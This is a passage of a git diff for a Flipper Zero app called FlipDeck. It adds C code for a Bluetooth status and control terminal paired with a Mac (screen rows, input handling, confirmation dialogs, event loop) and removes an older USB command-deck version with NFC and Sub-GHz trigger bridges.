&ui->stack[ui->depth++]; + memset(next, 0, sizeof(*next)); + next->screen = row->target; + fd_copy(next->id, sizeof(next->id), row->target_id); + } + break; + case FdRowAction: + if(row->action->confirm) { + ui->confirming = true; + memcpy(&ui->confirm_action, row->action, sizeof(FdAction)); + } else { + fd_ui_send(ui, state, row->action, now, out); + } + break; + case FdRowDismiss: { + bool was_alert = state->alert_visible; + fd_state_seen(state, row->target_id, out); + if(was_alert) { + ui->alert_selected = 0; + ui->alert_scroll = 0; + } else if(ui->depth > 1) { + ui->depth--; + } + break; + } + case FdRowResync: + fd_state_request_sync(state, out); + fd_ui_toast(ui, "Resync requested", true, now); + break; + case FdRowInfo: + break; + } +} + +uint32_t fd_ui_input(FdUi* ui, FdState* state, const InputEvent* event, uint32_t now, FdOutbox* out) { + if(event->type == InputTypeLong && event->key == InputKeyBack) return FdUiExit; + if(event->type != InputTypeShort && event->type != InputTypeRepeat) return FdUiNone; + + if(ui->confirming) { + if(event->type != InputTypeShort) return FdUiNone; + if(event->key == InputKeyOk || event->key == InputKeyRight) { + ui->confirming = false; + fd_ui_send(ui, state, &ui->confirm_action, now, out); + } else if(event->key == InputKeyBack || event->key == InputKeyLeft) { + ui->confirming = false; + } + return FdUiNone; + } + + fd_ui_build(ui, state, now); + uint8_t* selected; + uint8_t* scroll; + fd_ui_cursor(ui, state, &selected, &scroll); + fd_ui_clamp(ui, selected, scroll); + + switch(event->key) { + case InputKeyUp: + fd_ui_move(ui, selected, scroll, -1); + break; + case InputKeyDown: + fd_ui_move(ui, selected, scroll, 1); + break; + case InputKeyOk: + case InputKeyRight: + if(event->type != InputTypeShort) break; + if(*selected < ui->row_count && fd_ui_selectable(&ui->rows[*selected])) { + const FdRow* row = &ui->rows[*selected]; + if(event->key == InputKeyRight && row->kind != FdRowNav) break; + fd_ui_activate(ui, state, row, now, out); + } + break; + case InputKeyBack: + case InputKeyLeft: + if(event->type != InputTypeShort) break; + if(state->alert_visible) { + fd_state_seen(state, state->alert.id, out); + ui->alert_selected = 0; + ui->alert_scroll = 0; + } else if(ui->depth > 1) { + ui->depth--; + } else if(event->key == InputKeyBack) { + return FdUiExit; + } + break; + default: + break; + } + return FdUiNone; +} + +void fd_ui_on_result(FdUi* ui, const FdState* state, uint32_t now) { + ui->awaiting_result = false; + fd_ui_toast(ui, state->result[0] ? state->result : (state->result_ok ? "Done" : "Failed"), state->result_ok, now); +} + +void fd_ui_on_alert(FdUi* ui) { + ui->alert_selected = 0; + ui->alert_scroll = 0; + ui->confirming = false; +} + +// --------------------------------------------------------------------------- +// Drawing + +/** Draws `text` shortened with '.' so it fits in `max_width` pixels. */ +static void fd_ui_text(Canvas* canvas, int32_t x, int32_t y, const char* text, uint16_t max_width) { + char buf[FD_ROW_LEFT + 2]; + fd_copy(buf, sizeof(buf), text); + size_t len = strlen(buf); + if(canvas_string_width(canvas, buf) > max_width) { + while(len > 1) { + buf[--len] = '\0'; + buf[len - 1] = '.'; + if(canvas_string_width(canvas, buf) <= max_width) break; + } + } + canvas_draw_str(canvas, x, y, buf); +} + +static void fd_ui_mark(Canvas* canvas, FdMark mark, int32_t cx, int32_t cy) { + switch(mark) { + case FdMarkDot: + canvas_draw_disc(canvas, cx, cy, 2); + break; + case FdMarkRing: + canvas_draw_circle(canvas, cx, cy, 2); + break; + case FdMarkBang: + canvas_draw_line(canvas, cx, cy - 3, cx, cy + 1); + canvas_draw_dot(canvas, cx, cy + 3); + break; + case FdMarkOk: + canvas_draw_line(canvas, cx - 3, cy, cx - 1, cy + 2); + canvas_draw_line(canvas, cx - 1, cy + 2, cx + 3, cy - 2); + break; + case FdMarkFail: + canvas_draw_line(canvas, cx - 2, cy - 2, cx + 2, cy + 2); + canvas_draw_line(canvas, cx - 2, cy + 2, cx + 2, cy - 2); + break; + case FdMarkNone: + break; + } +} + +static void fd_ui_header(Canvas* canvas, const FdUi* ui, const FdState* state, uint32_t now) { + const char* status = NULL; + bool live = false; + switch(state->link) { + case FdLinkOffline: + status = "offline"; + break; + case FdLinkConnecting: + status = "..."; + break; + case FdLinkIncompatible: + status = "update"; + break; + case FdLinkReady: + if(state->mac_quit) status = "closed"; + else if(fd_state_is_stale(state, now)) status = "stale"; + else live = true; + break; + } + canvas_set_font(canvas, FontSecondary); + uint16_t status_width = 8; + if(status) { + status_width = (uint16_t)(canvas_string_width(canvas, status) + 4); + canvas_draw_str_aligned(canvas, 127, 1, AlignRight, AlignTop, status); + } else if(live) { + canvas_draw_disc(canvas, 123, 5, 2); + } + canvas_set_font(canvas, FontPrimary); + fd_ui_text(canvas, 1, 9, ui->title, (uint16_t)(126 - status_width)); + canvas_draw_line(canvas, 0, 11, 127, 11); +} + +static void fd_ui_draw_confirm(Canvas* canvas, const FdUi* ui) { + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 1, 9, "Confirm"); + canvas_draw_line(canvas, 0, 11, 127, 11); + char question[FD_LABEL_LEN + 2]; + snprintf(question, sizeof(question), "%s?", fd_action_label(&ui->confirm_action)); + canvas_draw_str_aligned(canvas, 64, 26, AlignCenter, AlignBottom, question); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 64, 38, AlignCenter, AlignBottom, ui->confirm_action.destructive ? "This can't be undone." : ""); + elements_button_left(canvas, "Cancel"); + elements_button_right(canvas, "Confirm"); +} + +void fd_ui_draw(FdUi* ui, const FdState* state, Canvas* canvas, uint32_t now) { + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + if(ui->confirming) { + fd_ui_draw_confirm(canvas, ui); + return; + } + + fd_ui_build(ui, state, now); + uint8_t* selected; + uint8_t* scroll; + fd_ui_cursor(ui, state, &selected, &scroll); + fd_ui_clamp(ui, selected, scroll); + bool has_selectable = fd_ui_first_selectable(ui) >= 0; + + fd_ui_header(canvas, ui, state, now); + + for(uint8_t i = *scroll; i < ui->row_count && i < *scroll + FD_UI_VISIBLE; i++) { + const FdRow* row = &ui->rows[i]; + int32_t top = FD_UI_LIST_TOP + (int32_t)(i - *scroll) * FD_UI_ROW_H; + int32_t baseline = top + 8; + bool highlight = has_selectable && i == *selected; + if(highlight) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_rbox(canvas, 0, top, 124, FD_UI_ROW_H, 1); + canvas_set_color(canvas, ColorWhite); + } + canvas_set_font(canvas, row->emphasis ? FontPrimary : FontSecondary); + uint16_t right_width = 0; + canvas_set_font(canvas, FontSecondary); + if(row->right[0]) { + right_width = (uint16_t)(canvas_string_width(canvas, row->right) + 3); + canvas_draw_str_aligned(canvas, row->mark ? 115 : 121, baseline, AlignRight, AlignBottom, row->right); + } + uint16_t mark_width = row->mark ? 9 : 0; + canvas_set_font(canvas, row->emphasis ? FontPrimary : FontSecondary); + fd_ui_text(canvas, 3, baseline, row->left, (uint16_t)(118 - right_width - mark_width)); + fd_ui_mark(canvas, row->mark, 119, top + 5); + canvas_set_color(canvas, ColorBlack); + } + + if(ui->row_count > FD_UI_VISIBLE) { + elements_scrollbar_pos(canvas, 127, FD_UI_LIST_TOP, 51, has_selectable ? *selected : *scroll, ui->row_count); + } + + const char* toast = NULL; + if(ui->awaiting_result) toast = "Working..."; + else if(now < ui->toast_until) toast = ui->toast; + if(toast) { + canvas_set_font(canvas, FontSecondary); + canvas_set_color(canvas, ColorBlack); + canvas_draw_box(canvas, 0, 53, 128, 11); + canvas_set_color(canvas, ColorWhite); + fd_ui_text(canvas, 2, 62, toast, 124); + canvas_set_color(canvas, ColorBlack); + } +} diff --git a/src/fd_ui.h b/src/fd_ui.h new file mode 100644 index 0000000..a137ac9 --- /dev/null +++ b/src/fd_ui.h @@ -0,0 +1,107 @@ +/** + * @file fd_ui.h + * @brief Screens. Every screen is a list of rows built from FdState, so + * drawing and input handling share one model. + */ +#pragma once + +#include "fd_state.h" + +#include +#include + +typedef enum { + FdScreenHome, + FdScreenMac, + FdScreenProjects, + FdScreenProject, + FdScreenDeploys, + FdScreenServices, + FdScreenService, + FdScreenAgents, + FdScreenAgent, + FdScreenActivity, + FdScreenEvent, + FdScreenAttention, + FdScreenAttentionItem, +} FdScreen; + +typedef enum { + FdRowInfo, // text only, not selectable + FdRowNav, // opens `target` for `target_id` + FdRowAction, // requests `action` from the Mac + FdRowDismiss, // dismisses the alert / attention item `target_id` + FdRowResync, // asks the Mac for a fresh snapshot +} FdRowKind; + +typedef enum { + FdMarkNone, + FdMarkDot, // live / running + FdMarkRing, // idle / unknown + FdMarkBang, // needs attention + FdMarkOk, + FdMarkFail, +} FdMark; + +#define FD_ROW_LEFT 34 +#define FD_ROW_RIGHT 16 +#define FD_MAX_ROWS 28 +#define FD_NAV_DEPTH 6 + +typedef struct { + FdRowKind kind; + FdMark mark; + bool emphasis; + char left[FD_ROW_LEFT]; + char right[FD_ROW_RIGHT]; + FdScreen target; + char target_id[FD_ID_LEN]; + const FdAction* action; +} FdRow; + +typedef struct { + FdScreen screen; + char id[FD_ID_LEN]; + uint8_t selected; // index into rows (a selectable row, if any) + uint8_t scroll; // first visible row +} FdNav; + +typedef struct { + FdNav stack[FD_NAV_DEPTH]; + uint8_t depth; + + // Alert overlay navigation (separate so an alert never loses your place). + uint8_t alert_selected; + uint8_t alert_scroll; + + bool confirming; + FdAction confirm_action; + + bool awaiting_result; + char toast[FD_RESULT_LEN]; + bool toast_ok; + uint32_t toast_until; + + // Scratch row buffer (heap-allocated with the app; guarded by its mutex). + FdRow rows[FD_MAX_ROWS]; + uint8_t row_count; + char title[FD_ROW_LEFT]; +} FdUi; + +typedef enum { + FdUiNone = 0, + FdUiExit = 1 << 0, +} FdUiResult; + +void fd_ui_init(FdUi* ui); + +void fd_ui_draw(FdUi* ui, const FdState* state, Canvas* canvas, uint32_t now); + +/** Handles a key press. May queue frames in `out`. */ +uint32_t fd_ui_input(FdUi* ui, FdState* state, const InputEvent* event, uint32_t now, FdOutbox* out); + +/** Call when fd_state reports FdChangeResult. */ +void fd_ui_on_result(FdUi* ui, const FdState* state, uint32_t now); + +/** Call when fd_state reports FdChangeAlert. */ +void fd_ui_on_alert(FdUi* ui); diff --git a/src/flipdeck.c b/src/flipdeck.c new file mode 100644 index 0000000..bad686b --- /dev/null +++ b/src/flipdeck.c @@ -0,0 +1,168 @@ +/** + * @file flipdeck.c + * @brief FlipDeck for Flipper Zero: a portable status and control terminal + * for FlipDeck on the Mac. Entry point and event loop. + * + * Threads: the GUI thread draws, the BT thread delivers bytes/status, and + * this app thread does everything else. Shared state is guarded by `mutex`. + */ +#include "fd_ble.h" +#include "fd_state.h" +#include "fd_ui.h" + +#include +#include +#include +#include + +#define TAG "FlipDeck" +#define FD_TICK_MS 250 + +typedef enum { + FdEventInput, + FdEventData, + FdEventLink, +} FdEventType; + +typedef struct { + FdEventType type; + InputEvent input; +} FdAppEvent; + +typedef struct { + FdState state; + FdUi ui; + FdLineReader reader; + FdOutbox out; + FuriMutex* mutex; + FuriMessageQueue* queue; + ViewPort* view_port; + Gui* gui; + NotificationApp* notifications; + FdBle* ble; +} FdApp; + +static void fd_draw_callback(Canvas* canvas, void* context) { + FdApp* app = context; + if(furi_mutex_acquire(app->mutex, 50) != FuriStatusOk) return; + fd_ui_draw(&app->ui, &app->state, canvas, furi_get_tick()); + furi_mutex_release(app->mutex); +} + +static void fd_input_callback(InputEvent* input, void* context) { + FdApp* app = context; + FdAppEvent event = {.type = FdEventInput, .input = *input}; + furi_message_queue_put(app->queue, &event, 0); +} + +static void fd_ble_data_callback(void* context) { + FdApp* app = context; + FdAppEvent event = {.type = FdEventData}; + // Non-blocking: if the queue is full, the loop drains the buffer anyway. + furi_message_queue_put(app->queue, &event, 0); +} + +static void fd_ble_link_callback(void* context) { + FdApp* app = context; + FdAppEvent event = {.type = FdEventLink}; + // Only a wake-up: the loop reads the link state itself every tick, so a + // dropped event can't desynchronize it, and the BT thread never blocks. + furi_message_queue_put(app->queue, &event, 0); +} + +/** Moves queued outgoing frames out under the mutex, then sends without it. */ +static void fd_flush(FdApp* app) { + char frames[sizeof(app->out.data)]; + size_t len; + uint16_t mtu; + furi_mutex_acquire(app->mutex, FuriWaitForever); + len = app->out.len; + memcpy(frames, app->out.data, len); + app->out.len = 0; + mtu = app->state.mtu; + furi_mutex_release(app->mutex); + if(len > 0 && !fd_ble_send(app->ble, (const uint8_t*)frames, len, mtu)) { + FURI_LOG_W(TAG, "Couldn't send %u bytes", (unsigned)len); + } +} + +int32_t flipdeck_app(void* p) { + UNUSED(p); + FdApp* app = malloc(sizeof(FdApp)); + memset(app, 0, sizeof(FdApp)); + fd_state_init(&app->state, furi_hal_random_get()); + fd_ui_init(&app->ui); + fd_line_reset(&app->reader); + + app->mutex = furi_mutex_alloc(FuriMutexTypeNormal); + app->queue = furi_message_queue_alloc(16, sizeof(FdAppEvent)); + app->notifications = furi_record_open(RECORD_NOTIFICATION); + + app->view_port = view_port_alloc(); + view_port_draw_callback_set(app->view_port, fd_draw_callback, app); + view_port_input_callback_set(app->view_port, fd_input_callback, app); + app->gui = furi_record_open(RECORD_GUI); + gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); + + app->ble = fd_ble_alloc(fd_ble_data_callback, fd_ble_link_callback, app); + + bool running = true; + while(running) { + FdAppEvent event; + FuriStatus status = furi_message_queue_get(app->queue, &event, FD_TICK_MS); + uint32_t changes = FdChangeNone; + + furi_mutex_acquire(app->mutex, FuriWaitForever); + uint32_t now = furi_get_tick(); + if(status == FuriStatusOk && event.type == FdEventInput) { + if(fd_ui_input(&app->ui, &app->state, &event.input, now, &app->out) & FdUiExit) running = false; + } + + bool connected = fd_ble_is_connected(app->ble); + if(connected && app->state.link == FdLinkOffline) { + // Drop any partial frame left over from a previous connection. + fd_ble_discard(app->ble); + fd_line_reset(&app->reader); + fd_state_link_up(&app->state, now); + changes |= FdChangeRedraw; + FURI_LOG_I(TAG, "Mac connected"); + } else if(!connected && app->state.link != FdLinkOffline) { + bool had_request = app->state.request == FdRequestPending; + fd_state_link_down(&app->state); + changes |= FdChangeRedraw | (had_request ? FdChangeResult : FdChangeNone); + FURI_LOG_I(TAG, "Mac disconnected"); + } + + // Always drain received bytes (events may have been coalesced). + uint8_t buffer[128]; + size_t received; + bool drained_any = false; + while((received = fd_ble_read(app->ble, buffer, sizeof(buffer))) > 0) { + changes |= fd_state_receive(&app->state, &app->reader, buffer, received, now, &app->out); + drained_any = true; + } + changes |= fd_state_tick(&app->state, now); + if(changes & FdChangeResult) fd_ui_on_result(&app->ui, &app->state, now); + if(changes & FdChangeAlert) fd_ui_on_alert(&app->ui); + furi_mutex_release(app->mutex); + + if(drained_any) fd_ble_rx_drained(app->ble); + fd_flush(app); + if(changes & FdChangeAlert) { + notification_message(app->notifications, &sequence_double_vibro); + notification_message(app->notifications, &sequence_blink_red_100); + } + // Redraw every tick so durations and staleness stay current. + view_port_update(app->view_port); + } + + fd_ble_free(app->ble); + gui_remove_view_port(app->gui, app->view_port); + view_port_free(app->view_port); + furi_record_close(RECORD_GUI); + furi_record_close(RECORD_NOTIFICATION); + furi_message_queue_free(app->queue); + furi_mutex_free(app->mutex); + free(app); + return 0; +} diff --git a/src/flipdeck_app.c b/src/flipdeck_app.c deleted file mode 100644 index abee751..0000000 --- a/src/flipdeck_app.c +++ /dev/null @@ -1,185 +0,0 @@ -/** - * @file flipdeck_app.c - * @brief FlipDeck Application Entry Point - */ - -#include "flipdeck_app.h" -#include "flipdeck_ui.h" -#include "nfc_bridge.h" -#include "profile_manager.h" -#include "subghz_bridge.h" -#include "uart_bridge.h" -#include "usb_hid.h" -#include -#include -#include -#include -#include - -static FlipDeckApp* g_app_ctx = NULL; - -// Forward declarations -static void flipdeck_load_settings(void); -static void flipdeck_load_categories(void); - -bool flipdeck_app_init(void* furi_void) { - UNUSED(furi_void); - FURI_LOG_I("FlipDeck", "Initializing FlipDeck application"); - - // Allocate app context - g_app_ctx = malloc(sizeof(FlipDeckApp)); - if(!g_app_ctx) { - FURI_LOG_E("FlipDeck", "Failed to allocate app context"); - return false; - } - - // Initialize context - memset(g_app_ctx, 0, sizeof(FlipDeckApp)); - g_app_ctx->state = FlipDeckState_CategoryBrowser; - g_app_ctx->selected_action_index = 0; - g_app_ctx->usb_connected = false; - - // Load settings - flipdeck_load_settings(); - - // Load categories from SD card - flipdeck_load_categories(); - - // Check USB connection when auto-detect is enabled - if(g_app_ctx->settings.auto_detect_usb) { - g_app_ctx->usb_connected = usb_hid_is_connected(); - } else { - // Off: don't probe — avoid a sticky "NO USB" banner when the user - // has opted out of status polling. Send still checks the live HID - // link at the moment of transmission. - g_app_ctx->usb_connected = true; - } - - // Initialize UART bridge to the WiFi dev board - uart_bridge_init(); - - // Initialize the NFC tag-scanning bridge - if(!nfc_bridge_init()) { - FURI_LOG_W("FlipDeck", "NFC bridge init failed; NFC scan will be unavailable"); - } - - // Initialize the Sub-GHz remote-scanning bridge. Unlike NFC, failure - // here hides the category-browser row entirely (see subghz_available's - // doc comment in flipdeck_app.h) rather than leaving a dead-end row. - g_app_ctx->subghz_available = subghz_bridge_init(); - if(!g_app_ctx->subghz_available) { - FURI_LOG_W("FlipDeck", "Sub-GHz bridge init failed; Sub-GHz scan will be unavailable"); - } - - // Create UI - flipdeck_ui_init(g_app_ctx); - - // If a startup/"home" category is pinned, skip the category browser and - // open straight into it. - flipdeck_ui_try_open_startup_category(); - - FURI_LOG_I("FlipDeck", "Initialization complete"); - return true; -} - -static void flipdeck_load_settings(void) { - if(profile_manager_load_settings(&g_app_ctx->settings)) { - FURI_LOG_I("FlipDeck", "Settings loaded from SD card"); - } else { - FURI_LOG_I("FlipDeck", "Using default settings"); - g_app_ctx->settings.send_delay_ms = 100; - g_app_ctx->settings.confirm_before_send = true; - g_app_ctx->settings.auto_detect_usb = true; - } -} - -static void flipdeck_load_categories(void) { - if(profile_manager_list_categories(NULL, &g_app_ctx->category_count)) { - FURI_LOG_I("FlipDeck", "Found %" PRIu32 " categories", g_app_ctx->category_count); - } else { - FURI_LOG_W("FlipDeck", "No categories found"); - g_app_ctx->category_count = 0; - } -} - -void flipdeck_app_free(void* furi_void) { - UNUSED(furi_void); - FURI_LOG_I("FlipDeck", "Shutting down FlipDeck application"); - - if(g_app_ctx) { - flipdeck_ui_free(); - uart_bridge_deinit(); - nfc_bridge_deinit(); - subghz_bridge_deinit(); - free(g_app_ctx); - g_app_ctx = NULL; - } -} - -void flipdeck_app_loop(void* furi_void) { - UNUSED(furi_void); - - // Poll USB connection status when auto-detect is enabled - if(g_app_ctx->settings.auto_detect_usb) { - g_app_ctx->usb_connected = usb_hid_is_connected(); - } else { - g_app_ctx->usb_connected = true; - } - - switch(g_app_ctx->state) { - case FlipDeckState_Idle: - break; - - case FlipDeckState_CategoryBrowser: - flipdeck_ui_handle_category_browser(); - break; - - case FlipDeckState_ActionBrowser: - flipdeck_ui_handle_action_browser(); - break; - - case FlipDeckState_NfcScan: - flipdeck_ui_handle_nfc_scan(); - break; - - case FlipDeckState_SubghzScan: - flipdeck_ui_handle_subghz_scan(); - break; - - case FlipDeckState_SendConfirm: - flipdeck_ui_handle_confirm(); - break; - - case FlipDeckState_LongSnippetWarning: - flipdeck_ui_handle_long_snippet_warning(); - break; - - case FlipDeckState_Settings: - flipdeck_ui_handle_settings(); - break; - } -} - -FlipDeckApp* flipdeck_app_get_context(void) { - return g_app_ctx; -} - -void flipdeck_app_set_state(FlipDeckState new_state) { - if(g_app_ctx) { - g_app_ctx->state = new_state; - } -} - -int32_t flipdeck_app(void* p) { - if(!flipdeck_app_init(p)) { - return 1; - } - - while(true) { - flipdeck_app_loop(p); - furi_delay_ms(50); - } - - flipdeck_app_free(p); - return 0; -} diff --git a/src/flipdeck_app.h b/src/flipdeck_app.h deleted file mode 100644 index c134bd4..0000000 --- a/src/flipdeck_app.h +++ /dev/null @@ -1,98 +0,0 @@ -/** - * @file flipdeck_app.h - * @brief FlipDeck - Flipper Zero USB Command Deck - */ - -#ifndef FLIPDECK_APP_H -#define FLIPDECK_APP_H - -#include -#include - -#ifdef UFBT_HOST_BUILD -/* Host test build - skip GUI headers */ -typedef void Gui; -#else -#include -#endif - -/** Current app state */ -typedef enum { - FlipDeckState_Idle, - FlipDeckState_CategoryBrowser, - FlipDeckState_ActionBrowser, - FlipDeckState_NfcScan, - FlipDeckState_SubghzScan, - FlipDeckState_SendConfirm, - FlipDeckState_LongSnippetWarning, - FlipDeckState_Settings, -} FlipDeckState; - -/** Maximum limits */ -#define FLIPDECK_MAX_COMMAND_LENGTH 256 -#define FLIPDECK_MAX_PROFILE_NAME 64 -#define FLIPDECK_MAX_SNIPPET_LENGTH_WARN 100 /* Warn for snippets longer than this */ -#define FLIPDECK_MAX_FAVORITES 6 - -/** A pinned action, referenced by its source category + label so the actual - * FlipDeckAction (value/type/target/etc.) is always re-read fresh from the - * category file rather than duplicated and allowed to go stale. */ -typedef struct { - char category_id[32]; - char label[64]; -} FlipDeckFavorite; - -/** Settings structure */ -typedef struct { - uint32_t send_delay_ms; - bool confirm_before_send; - bool auto_detect_usb; - bool show_icons; - bool show_descriptions; - char startup_category[32]; - uint32_t long_snippet_warn_state; // Temporary state for long snippet warning - FlipDeckFavorite favorites[FLIPDECK_MAX_FAVORITES]; - uint32_t favorite_count; -} FlipDeckSettings; - -/** App context containing all state */ -typedef struct FlipDeckApp { - FlipDeckState state; - uint32_t category_count; - uint32_t current_category_index; - uint32_t selected_action_index; - char status_message[64]; - bool usb_connected; - FlipDeckSettings settings; - char current_category_id[32]; - // Set once at init from subghz_bridge_init()'s return value. Unlike NFC - // (whose category-browser row is always shown), the Sub-GHz row is - // hidden entirely when this is false, since Sub-GHz's real-firmware - // linkage is a materially bigger open risk than NFC's turned out to be - // - see application.fam and docs/subghz_trigger_spec.md. - bool subghz_available; -} FlipDeckApp; - -/** - * @brief Initialize the FlipDeck application - * @param furi_void Pointer to Furi object - * @return true if initialization successful - */ -bool flipdeck_app_init(void* furi_void); - -/** - * @brief Free resources and shutdown gracefully - * @param furi_void Pointer to Furi object - */ -void flipdeck_app_free(void* furi_void); - -/** - * @brief Main application loop - * @param furi_void Pointer to Furi object - */ -void flipdeck_app_loop(void* furi_void); - -FlipDeckApp* flipdeck_app_get_context(void); -void flipdeck_app_set_state(FlipDeckState new_state); - -#endif // FLIPDECK_APP_H diff --git a/src/flipdeck_ui.c b/src/flipdeck_ui.c deleted file mode 100644 index ed5d358..0000000 --- a/src/flipdeck_ui.c +++ /dev/null @@ -1,1131 +0,0 @@ -/** - * @file flipdeck_ui.c - * @brief FlipDeck User Interface Implementation - */ - -#include "flipdeck_ui.h" -#include "nfc_bridge.h" -#include "profile_manager.h" -#include "subghz_bridge.h" -#include "uart_bridge.h" -#include "usb_hid.h" -#include -#include -#include -#include -#include - -typedef enum { - FlipDeckView_CategoryBrowser, - FlipDeckView_ActionBrowser, - FlipDeckView_NfcScan, - FlipDeckView_SubghzScan, - FlipDeckView_Confirm, - FlipDeckView_LongSnippetWarning, - FlipDeckView_Settings, -} FlipDeckView; - -// Which hardware trigger source (if any) is currently waiting for the user -// to pick a category/action target for an unrecognized token. At most one -// bind can be pending at a time - a tagged union rather than one flag per -// source makes that structurally true instead of "shouldn't happen". -typedef enum { - FlipDeckBindKind_None, - FlipDeckBindKind_Nfc, - FlipDeckBindKind_Subghz, -} FlipDeckBindKind; - -typedef struct { - FlipDeckBindKind kind; - // Holds either an NFC UID or a Sub-GHz signature hash, whichever kind - // is pending. Sized for the larger of the two (FLIPDECK_NFC_UID_HEX_LEN). - char id_hex[FLIPDECK_NFC_UID_HEX_LEN]; -} FlipDeckPendingBind; - -typedef struct { - FlipDeckApp* app_ctx; - Gui* gui; - ViewPort* view_port; - FlipDeckView current_view; - char category_ids[FLIPDECK_MAX_CATEGORIES][32]; - FlipDeckProfileCategory current_category; - // Source category id for each entry in current_category.actions, so a - // favorite can be looked up/toggled regardless of whether the actions - // came from one category or were flattened from the favorites/NFC/ - // Sub-GHz list. - char action_category_ids[FLIPDECK_MAX_ACTIONS_PER_CATEGORY][32]; - uint32_t category_scroll_offset; - uint32_t action_scroll_offset; - uint32_t settings_index; - uint32_t settings_scroll_offset; - // NFC tag mappings, (re)loaded each time the NFC scan screen is entered. - FlipDeckNfcTag nfc_tags[FLIPDECK_MAX_NFC_TAGS]; - uint32_t nfc_tag_count; - bool nfc_scan_active; - char nfc_scan_status[32]; - // Sub-GHz remote mappings, (re)loaded each time the Sub-GHz scan screen - // is entered - mirrors the NFC fields above exactly. - FlipDeckSubghzRemote subghz_remotes[FLIPDECK_MAX_SUBGHZ_REMOTES]; - uint32_t subghz_remote_count; - bool subghz_scan_active; - char subghz_scan_status[32]; - // Non-empty (kind != None) while picking a category/action target for a - // freshly-detected unknown token from either trigger source. See - // flipdeck_ui_is_binding(). - FlipDeckPendingBind pending_bind; -} FlipDeckUi; - -#define FLIPDECK_FAVORITES_ROW_ID "__favorites__" -#define FLIPDECK_NFC_TAG_ROW_ID "__nfc_tag__" -#define FLIPDECK_SUBGHZ_REMOTE_ROW_ID "__subghz_remote__" - -static void flipdeck_ui_open_favorites(FlipDeckUi* ui_ctx); - -static FlipDeckUi ui; - -static void flipdeck_ui_draw_callback(Canvas* canvas, void* context); -static void flipdeck_ui_input_callback(InputEvent* event, void* context); -static void flipdeck_ui_draw_category_browser(Canvas* canvas, FlipDeckUi* ui_ctx); -static void flipdeck_ui_draw_action_browser(Canvas* canvas, FlipDeckUi* ui_ctx); -static void flipdeck_ui_draw_confirm(Canvas* canvas, FlipDeckUi* ui_ctx); -static void flipdeck_ui_draw_settings(Canvas* canvas, FlipDeckUi* ui_ctx); -static void flipdeck_ui_draw_long_snippet_warning(Canvas* canvas, FlipDeckUi* ui_ctx); -static void flipdeck_ui_draw_nfc_scan(Canvas* canvas, FlipDeckUi* ui_ctx); -static void flipdeck_ui_draw_subghz_scan(Canvas* canvas, FlipDeckUi* ui_ctx); -static void flipdeck_ui_input_category_browser(FlipDeckUi* ui_ctx, InputEvent* event); -static void flipdeck_ui_input_action_browser(FlipDeckUi* ui_ctx, InputEvent* event); -static void flipdeck_ui_input_confirm(FlipDeckUi* ui_ctx, InputEvent* event); -static void flipdeck_ui_input_settings(FlipDeckUi* ui_ctx, InputEvent* event); -static void flipdeck_ui_input_long_snippet_warning(FlipDeckUi* ui_ctx, InputEvent* event); -static void flipdeck_ui_input_nfc_scan(FlipDeckUi* ui_ctx, InputEvent* event); -static void flipdeck_ui_input_subghz_scan(FlipDeckUi* ui_ctx, InputEvent* event); -static void flipdeck_ui_send_action(FlipDeckUi* ui_ctx, FlipDeckAction* action); -static void flipdeck_ui_set_send_status(FlipDeckApp* app, FlipDeckAction* action, bool ok); -static bool flipdeck_ui_has_favorites_row(FlipDeckApp* app); -static bool flipdeck_ui_is_binding(FlipDeckUi* ui_ctx); -static void flipdeck_ui_category_rows( - FlipDeckUi* ui_ctx, bool* has_favorites_row_out, uint32_t* synthetic_offset_out); -static bool flipdeck_ui_load_single_action( - FlipDeckUi* ui_ctx, - const char* category_id, - const char* label, - const char* synthetic_category_name, - const char* synthetic_category_id); - -/* Returns the action at app_ctx->selected_action_index, or NULL if the index is - * stale/out of range for the currently loaded category. Callers must treat NULL - * as "nothing selected" rather than indexing the array directly. */ -static FlipDeckAction* flipdeck_ui_get_selected_action(FlipDeckUi* ui_ctx) { - uint32_t index = ui_ctx->app_ctx->selected_action_index; - if(index >= ui_ctx->current_category.action_count) { - FURI_LOG_W("FlipDeck", "Selected action index %lu out of range (count %lu)", - (unsigned long)index, - (unsigned long)ui_ctx->current_category.action_count); - return NULL; - } - return &ui_ctx->current_category.actions[index]; -} - -void flipdeck_ui_init(FlipDeckApp* app_ctx) { - FURI_LOG_I("FlipDeck", "Initializing UI"); - - memset(&ui, 0, sizeof(ui)); - ui.app_ctx = app_ctx; - ui.current_view = FlipDeckView_CategoryBrowser; - - profile_manager_list_categories(ui.category_ids, &app_ctx->category_count); - - ui.view_port = view_port_alloc(); - view_port_draw_callback_set(ui.view_port, flipdeck_ui_draw_callback, &ui); - view_port_input_callback_set(ui.view_port, flipdeck_ui_input_callback, &ui); - - ui.gui = furi_record_open(RECORD_GUI); - gui_add_view_port(ui.gui, ui.view_port, GuiLayerFullscreen); -} - -void flipdeck_ui_free(void) { - FURI_LOG_I("FlipDeck", "Freeing UI"); - - if(ui.gui && ui.view_port) { - gui_remove_view_port(ui.gui, ui.view_port); - } - if(ui.view_port) { - view_port_free(ui.view_port); - ui.view_port = NULL; - } - if(ui.gui) { - furi_record_close(RECORD_GUI); - ui.gui = NULL; - } -} - -void flipdeck_ui_handle_category_browser(void) { - ui.current_view = FlipDeckView_CategoryBrowser; - - // The favorites row (and, while binding, the favorites/NFC rows both) - // can appear/disappear between visits, so clamp a now-stale selection - // back in range. - bool has_favorites_row; - uint32_t synthetic_offset; - flipdeck_ui_category_rows(&ui, &has_favorites_row, &synthetic_offset); - uint32_t total_rows = ui.app_ctx->category_count + synthetic_offset; - if(total_rows == 0) { - ui.app_ctx->current_category_index = 0; - } else if(ui.app_ctx->current_category_index >= total_rows) { - ui.app_ctx->current_category_index = total_rows - 1; - } - - view_port_update(ui.view_port); -} - -void flipdeck_ui_handle_action_browser(void) { - ui.current_view = FlipDeckView_ActionBrowser; - view_port_update(ui.view_port); -} - -void flipdeck_ui_handle_confirm(void) { - ui.current_view = FlipDeckView_Confirm; - view_port_update(ui.view_port); -} - -void flipdeck_ui_handle_settings(void) { - ui.current_view = FlipDeckView_Settings; - view_port_update(ui.view_port); -} - -void flipdeck_ui_handle_long_snippet_warning(void) { - ui.current_view = FlipDeckView_LongSnippetWarning; - view_port_update(ui.view_port); -} - -void 